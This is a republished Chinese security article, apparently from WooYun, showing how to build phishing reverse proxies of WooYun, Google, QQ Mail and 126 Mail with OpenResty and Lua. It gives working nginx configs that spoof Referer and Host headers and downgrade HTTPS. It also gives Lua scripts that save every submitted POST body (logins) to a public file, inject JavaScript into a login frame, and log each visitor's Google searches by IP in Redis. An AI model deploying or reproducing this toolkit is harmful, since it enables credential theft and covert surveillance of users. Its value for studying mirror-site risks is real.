<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/6403

            0x01 起因


            幾天前學弟給我介紹他用nginx搭建的反代,代理了谷歌和維基百科。

            由此我想到了一些邪惡的東西:反代既然是所有流量走我的服務器,那我是不是能夠在中途做些手腳,達到一些有趣的目的。 openresty是一款結合了nginx和lua的全功能web服務器,我感覺其角色和tornado類似,既是一個中間件,也結合了一個后端解釋器。所以,我們可以在nginx上用lua開發很多“有趣”的東西。

            所以,這篇文章也是由此而來。

            0x02 openresty的搭建


            openresty是國人的一個開源項目,主頁在http://openresty.org/ ,其核心nginx版本相對比較高(1.7.10),搭配的一些第三方模塊也很豐富。

            首先在官網下載openresty源碼,然后我還需要一個openresty中沒有的第三方庫:https://github.com/yaoweibin/ngx_http_substitutions_filter_module ,同樣下載下來。

            編譯:

            #!bash
            ./configure?--with-http_sub_module?--with-pcre-jit?--with-ipv6?--add-module=/root/requirements/ngx_http_substitutions_filter_module
            make && make install
            

            編譯選項中: —with-http_sub_module 附帶http_sub_module模塊,這是nginx自帶的一個模塊,用來替換返回的http數據包中內容。 --with-pcre-jit?—with-ipv6 提供ipv6支持 —add-module=/root/requirements/ngx_http_substitutions_filter_module(此處為你下載的ngx_http_substitutions_filter_module目錄) 將剛才下載的http_substitutions_filter_module模塊編譯進去。http_substitutions_filter_module模塊是http_sub_module的加強版,它可以用正則替換,并可以多處替換。

            編譯安裝的過程沒有什么難點,很快就安裝好了,openresty和luajit都默認在/usr/local/openresty目錄下。nginx的二進制文件為 /usr/local/openresty/nginx/sbin/nginx。

            然后像正常啟動nginx一樣啟動之。

            0x03 反代目標網站


            根據目標網站的不同,反代也是有難度之分的。

            比如烏云,我們可以很輕松地將其反代下來。因為烏云主站有一個特點:所有鏈接都是相對地址。所以我甚至不需要修改頁面中任何內容即可完整反代。

            一個簡單demo:http://wooyun.jjfly.party ,其配置文件如下:

            enter image description here

            其中,location / 塊即為反代烏云的配置塊。

            proxy_pass 是將請求交給上游處理,而這里的上游就是http://wooyun.com

            proxy_cookie_domain是將所有cookie中的domain替換掉成自己的domain,達到能夠登陸的效果。

            proxy_buffering off用來關閉內存緩沖區。

            proxy_set_header是一個重要的配置項,利用這個項可以修改轉發時的HTTP頭。比如,烏云在登錄以后,修改資料的時候會驗證referer,如果referer來自wooyun.jjfly.party是會提示錯誤的。所以我在這里用proxy_set_header將referer設置為wooyun.org域下的地址,從而繞過檢查。

            這樣,做好了一個完美的“釣魚網站”:

            enter image description here

            我甚至可以正常登錄、修改信息:

            enter image description here

            但是并不是所有網站做反代都這樣簡單,比如google。谷歌是一個https的站點,所以通常也需要一個https的配置:

            enter image description here

            我申請了一個SSL證書,反代方法和烏云類似。但不同的是,谷歌會檢查host,如果host不是谷歌自己的域名就會強制302跳轉到www.google.com。

            于是我在這里用proxy_set_header 將Host設置為www.google.com。

            另外,谷歌與烏云最大的不同是,其源碼中鏈接均為絕對路徑,所以一旦用戶點擊其中鏈接后又會跳轉回谷歌去。所以,我這里使用了subs_filter模塊將其中的字符竄“www.google.com”替換成“xdsec.mhz.pw”。

            這是反代中經常會遇到的情況。

            那么,如果我并沒有條件購買SSL證書怎么辦?其實我們在nginx配置中也是可以將https降成http的。比如http://qq.jjfly.party就是代理的https://mail.qq.com:

            enter image description here

            另外,在xui.qq.jjfly.party(登陸框的frame)中,我利用 subs_filter </head> "<script>alert('xxx');</script></head>"; ,在html的標簽前插入了一段javascript,通過這個方式,我可以簡單制作一個前端的數據截取。(XSS) 打開即會彈窗:

            enter image description here

            在反代過程中,我們會常常和gzip打交道。熟悉http協議的同學應該知道,如果瀏覽器發送的數據包頭含有Accept-Encoding: gzip,即告訴服務器:“我可以接受gzip壓縮過的數據包”。這時后端就會將返回包壓縮后發送,并包含返回頭Content-Encoding: gzip,瀏覽器根據是否含有這個頭對返回數據包進行解壓顯示。

            但gzip在反代中,會造成很大問題:subs_filter替換內容時,如果內容是壓縮過的,明顯就不能正常替換了。同時在日志里可以看到這樣的記錄:

            http subs filter header ignored, this may be a compressed response. while reading response header from upstream

            所以網上一般處理方式是,在向上層服務器轉發數據包的時候,設置proxy_set_header Accept-Encoding ””,這樣后端服務器就不會壓縮數據包了。

            但有時候,做反代的時候會發現subs_filter的替換失效或部分失效了,我在做126.com反代的時候就遇到了這個問題。經過一段時間的研究發現,可能和緩存有關系,緩存中的數據包是gzip壓縮過的,所以就算發送Accept-Encoding=””也不管用。 如下是http://126.jjfly.party 配置:

            enter image description here

            我設置了很多阻止其緩存的方法,但實際上好像并沒有效果。

            于是這里我想到借助lua,我想通過lua腳本在數據包返回的時候解壓縮gzip數據,并代替subs_filter進行字符串的替換。

            0x04 借助lua進行gzip解壓與返回包修改


            openresty在編譯安裝的時候就加入了lua支持,所以無需再對nginx進行改造。但lua下對gzip進行解壓,需要借助一個庫:lua-zlib(https://github.com/brimworks/lua-zlib) lua是一個和C語言結合緊密的腳本語言,實際上lua-zlib就是一個C語言編寫的庫,我們現在需要做的就是將其編譯成一個動態鏈接庫zlib.so,讓lua來引用。

            #!bash
            git clone https://github.com/brimworks/lua-zlib.git
            cd lua-zlib
            cmake -DLUA_INCLUDE_DIR=/usr/local/openresty/luajit/include/luajit-2.1 -DLUA_LIBRARIES=/usr/local/openresty/luajit/lib -DUSE_LUAJIT=ON -DUSE_LUA=OFF
            make && make install
            

            以上代碼解釋一下。首先執行cmake來生成編譯配置文件。LUA_INCLUDE_DIR指定luajit的include文件夾,LUA_LIBRARIES指定luajit的lib文件夾。USE_LUAJIT=ON和USE_LUA=OFF指定我們使用的是luajit而不是lua:

            enter image description here

            再執行make && make install即可:

            enter image description here

            這時候已經編譯好了zlib.so,拷貝到openresty的lib目錄下即可:

            cp zlib.so /usr/local/openresty/lualib/zlib.so

            然后回到nginx的配置文件中,“body_filter_by_lua_file /usr/local/openresty/luasrc/repl.lua; ”這句話告訴nginx我需要把返回包的body交給repl.lua處理。 repl.lua腳本:

            #!bash
            local zlib = require "zlib"
            function decode(str)
                if unexpected_condition then error() end
                local stream = zlib.inflate()
                local ret = stream(str)
                return ret
            end
            
            function callback()
                local str = ngx.arg[1]
                str = string.gsub(str, "https://", "http://")
                str = string.gsub(str, "mail.126.com", "126.jjfly.party")
                str = string.gsub(str, '"126.com"', '"126.jjfly.party"')
                str = string.gsub(str, "'126.com'", "'126.jjfly.party'")
                ngx.arg[1] = str
            end
            
            function writefile(filename, info)
                local file = io.open(filename,"ab")
                file:write(info)
                file:close()
            end
            
            function readfile(filename)
                local file = io.open(filename, "rb")
                local data = file:read("*all")
                file:close()
                return data
            end
            
            local token = getClientIp()..ngx.var.uri
            local tmpfile = ngx.shared.tmpfile
            local value, flags = tmpfile:get(token)
            
            if not value then
                value = "/tmp/"..randstr(8)
                tmpfile:set(token, value)
            end
            
            if ngx.arg[1] ~= '' then
                writefile(value, ngx.arg[1])
            end
            if ngx.arg[2] then
                local body = readfile(value)
                local status, debody = pcall(decode, body)
                if status then
                    ngx.arg[1] = debody
                end
                os.remove(value)
                callback()
                return 
            else
                ngx.arg[1] = nil
            end
            

            思路是個簡單粗暴的方式:ngx.arg1是原始的body,我將之交給pcall(lua下的異常處理方式),利用zlib.inflate進行解壓。如果不出異常說明解壓成功了,就將結果覆蓋ngx.arg1,拋出異常了說明body可能是沒壓縮的,就保持不變。 但實際操作中遇到幾個困難:

            數據包并不是一次全部交給repl.lua,而是被分成許多chunks。所以我判斷了一下,當數據包沒有接收完整的時候就先保存在一個臨時文件中,直到eof,我才將之解壓縮發送給客戶端。

            多用戶情況下,我需要區分臨時文件屬于哪個用戶。所以我將臨時文件名保存在ngx.shared中,根據IP+uri判斷(實際上也并不完美)。

            lua生成的隨機數并不會自動播種,所以我需要根據系統時間來設置隨機數種子。

            最后,解壓完成后我直接調用callback()函數在其中對數據包進行替換,實際上就是完成之前subs_filter做的那些操作。 這樣配置完成后,重啟nginx,用瀏覽器訪問將會發現一個問題:

            enter image description here

            提示是:ERR_CONTENT_DECODING_FAILED,但我用burpsuite發包會發現似乎一切正常:

            enter image description here

            其實這個問題我之前都說了,還是和gzip有關。我們看到上圖,返回包中含有Content-Encoding: gzip,當我們的瀏覽器查看到此頭后,會認為數據包是gzip壓縮過的。

            但實際上我們已經在lua中將其解壓縮了,所以返回的數據其實是沒壓縮過的。最終導致瀏覽器解壓出錯,造成ERR_CONTENT_DECODING_FAILED。

            怎么解決?

            在nginx配置中將返回包頭中的Content-Encoding設置為空就好了:

            enter image description here

            header_filter_by_lua就是在修改返回頭的配置。后面可以直接編寫lua腳本,將ngx.header["Content-Encoding"]=""。 這時就可以正常訪問了:

            enter image description here

            0x05 利用lua截取數據


            那么,lua除了能夠解決上述的解壓縮問題以外,還有沒有什么新玩法?

            這時候,理應就想到就是數據包的截獲。釣魚網站的最終目的就是獲取用戶的信息,我在前面說到了可以通過在前端插入javascript腳本來截取用戶的輸入。

            但實際上這并不是最好的方案,最好的方法就是在后端截取數據包。

            于是我來使用lua完成這個任務。首先在nginx的server塊外面(主配置文件中)加入配置項:

            #!bash
            init_by_lua_file  /usr/local/openresty/luasrc/init.lua;
            access_by_lua_file /usr/local/openresty/luasrc/fish.lua;
            

            這兩項在ngx_lua_waf中也介紹過。init_by_lua_file是在nginx啟動的時候加載并執行的lua腳本,access_by_lua_file是在一次HTTP請求開始前執行的lua腳本。

            init_by_lua_file一般是初始化一些全局使用的函數,不多說了。說一下我寫的access_by_lua_file時調用的fish.lua:

            #!bash
            local method=ngx.req.get_method()
            if in_array(ngx.var.host, valid_host) then
            if method == "POST" then
                ngx.req.read_body()
                local data = ngx.req.get_body_data()
                writefile("/home/wwwroot/fish/"..ngx.var.host..".txt", data .. "\n")
            end
            end
            

            當host在valid_host(釣魚站的host)中時,判斷如果請求是POST請求,就將數據包的body寫入/home/wwwroot/fish/ $ngx.var.host .txt 中。

            這時,我訪問http://126.jjfly.party/admin/126.jjfly.party.txt 就可以看到實時釣魚的結果:

            enter image description here

            烏云也一樣:http://wooyun.jjfly.party/admin/wooyun.jjfly.party.txt

            enter image description here

            QQ郵箱那個因為環境太復雜(有至少三個host需要反代),所以我寧愿選擇在前端插入腳本進行劫持。

            除了記錄用戶輸入的賬號密碼,根據反代網站的類型不同還能截取很多有趣的東西。

            比如谷歌,我可以記錄訪客在谷歌中查詢的內容:

            enter image description here

            腳本也很簡單:

            #!bash
            if ngx.var.host == "xdsec.mhz.pw" then
                local args = ngx.req.get_uri_args()
                if args["q"] then
                    writefile("/home/wwwroot/fish/"..ngx.var.host..".txt",  "search: " .. args["q"] .. "\n")
                end
            end
            

            可見,雖然你看到的流量是經過一個擁有正規的證書的https站點的。但實際上我在寫lua腳本的時候根本不用在乎流量是否加密,因為openresty總會將一個明文的數據包交給我處理。

            那么:Youtube,我們可以記錄訪客看過哪些視頻;wikipedia,我們可以記錄用戶搜索過哪些姿勢;1024,我們可以記錄哪些片子的點擊率最高……(笑)

            自從各大國外站點陸續從互聯網上消失以后,現在鏡像網站越來越多。但上面的案例也說明了,鏡像網站也并不一定都是正直的。

            0x06 結合緩存與redis提升反代效率


            當然openresty絕不僅僅是擁有這樣一些簡單的功能。openresty出現的定義就是一個“全功能的 Web 應用服務器”,所以php可以有的功能它都可以辦到。 簡單來說我們可以直接在openresty上用lua編寫一個完整的動態網站。 之前我們的反代配置,有一些無法避免的缺點:

            1. 對gzip的支持不好,要不就是不使用壓縮,要不就是需要解壓,效率較低
            2. 沒有使用緩存,請求頻繁、并發量大的情況下nginx可能被上游服務器封掉。
            3. 后端沒有進行負債均衡。

            如果僅僅是釣魚的話,效率低是問題不大的,因為訪問量不會太大。但如果你想做一個使用量大的谷歌鏡像之類的網站,就必須要考慮這個問題了。

            如何緩解這個問題?

            比如,我們可以利用谷歌全球的IP進行負載均衡:

            #!bash
            proxy_cache_path /tmp/google/  levels=1:2   keys_zone=g1:100m max_size=1g;
            proxy_cache_key "$host$request_uri";
            
            upstream google{
            server 216.58.220.132:443 max_fails=3 fail_timeout=10s;
            server 131.203.2.49:443 max_fails=3 fail_timeout=10s;
            server 216.58.209.165:443 max_fails=3 fail_timeout=10s;
            server 209.85.229.53:443 max_fails=3 fail_timeout=10s;
            server 173.194.122.22:443 max_fails=3 fail_timeout=10s;
            server 216.58.209.101:443 max_fails=3 fail_timeout=10s;
            server 173.194.126.65:443 max_fails=3 fail_timeout=10s;
            }
            

            另外,利用proxy_cache進行緩存,可以減少很多反代服務器向上游服務器請求的次數,防止被封。

            當然,除了使用文件緩存以外,openresty還可以使用一些效率更高的服務,比如redis。

            openresty自帶了一個redis客戶端lua-resty-redis:https://github.com/openresty/lua-resty-redis (openresty還有個RedisNginxModule模塊,這個是反代redis請求的,并不是redis客戶端) 不過,現今的openresty對于redis模塊(包括所有依賴于socket的模塊)的支持僅限于在rewrite_by_lua, access_by_lua, content_by_lua這三個context中,也就是說我們沒法將返回的數據包儲存于redis中,但我們可以將截取到的數據儲存于redis中。

            還是以谷歌為例,我將查詢結果按照IP來存入redis:

            #!bash
            red = redis:new()
            red:set_timeout(1000)
            local ok, err = red:connect("127.0.0.1", 6379)
            if not ok then
                ngx.log(ngx.WARN, "failed to connect: ", err)
                return
            end
            ok, err = red:select(2)
            if not ok then
                ngx.log("failed to select: ", err)
                return
            end
            
            local args = ngx.req.get_uri_args()
            if args["q"] then
                local key = getClientIp()
                local data, err = red:sadd(key, args["q"])
            end 
            

            再將location /result 解析到如下lua腳本中,讀取redis顯示結果:

            #!bash
            local result = ""
            local ips = red:keys("*")
            for k1,ip in pairs(ips) do
                result = result .. ip .. ":\n"
                local words = red:smembers(ip)
                for k2,word in pairs(words) do
                    result = result .. "\tSearch: " .. word .. "\n"
                end
            end
            ngx.header.content_type = 'text/plain';
            ngx.say(result)
            return
            

            最后效果如圖所示:

            enter image description here

            0x07 總結與引用


            通過這篇文章,我簡單地講了openresty一些有意思的玩法。

            說白了,就是借助其能夠截取數據包的能力,來做很多只有hacker才想做的事情。除了文中說到的玩法(釣魚、用戶隱私探測),我還想到一些openresty可以做的大事:

            蜜罐:利用lua自動截取數據包中的0day并進行分析。

            流量分析與漏洞自動化挖掘:將目標網站反代下來,正常瀏覽使用。lua在后端截取數據包并交給各種自動化分析工具分析。

            高級服務的負載均衡:nginx 1.9后代理模塊被加入內核,那時候我們甚至可以用openresty作為shadowsocks的前端服務器,作負載均衡。利用lua配置多用戶shadowsocks環境,讓shadowsocks多用戶不再局限于端口與密碼,而變成一個host+username+password認證的形式。

            當然openresty的能力絕不僅僅是如此,還是最開始說的,openresty是一個全功能web服務器。

            但作為一個hacker,我往往去先挖掘這里面最有意思的一些內容,也就是我上面說的。

            如果諸君有興趣深入研究,都可以和我一起探索。

            本文參考資料:

            https://github.com/openresty/lua-nginx-module
            http://openresty.org/
            https://github.com/openresty/lua-resty-redis
            https://github.com/brimworks/lua-zlib 
            http://wrfly.kfd.me/Nginx%E6%90%AD%E5%BB%BA%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86%E6%9C%8D%E5%8A%A1/ (學弟的博客)
            http://nginx.org/en/docs/http/ngx_http_core_module.html
            http://www.4byte.cn/question/463833/does-lua-optimize-the-operator.html
            

            我推薦一些nginx/lua的相關資料與我關注的lua項目:

            https://github.com/leafo/moonscript
            https://github.com/leafo/lapis 
            https://github.com/loveshell/ngx_lua_waf
            http://jb.wanpin123.com/lua/
            

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线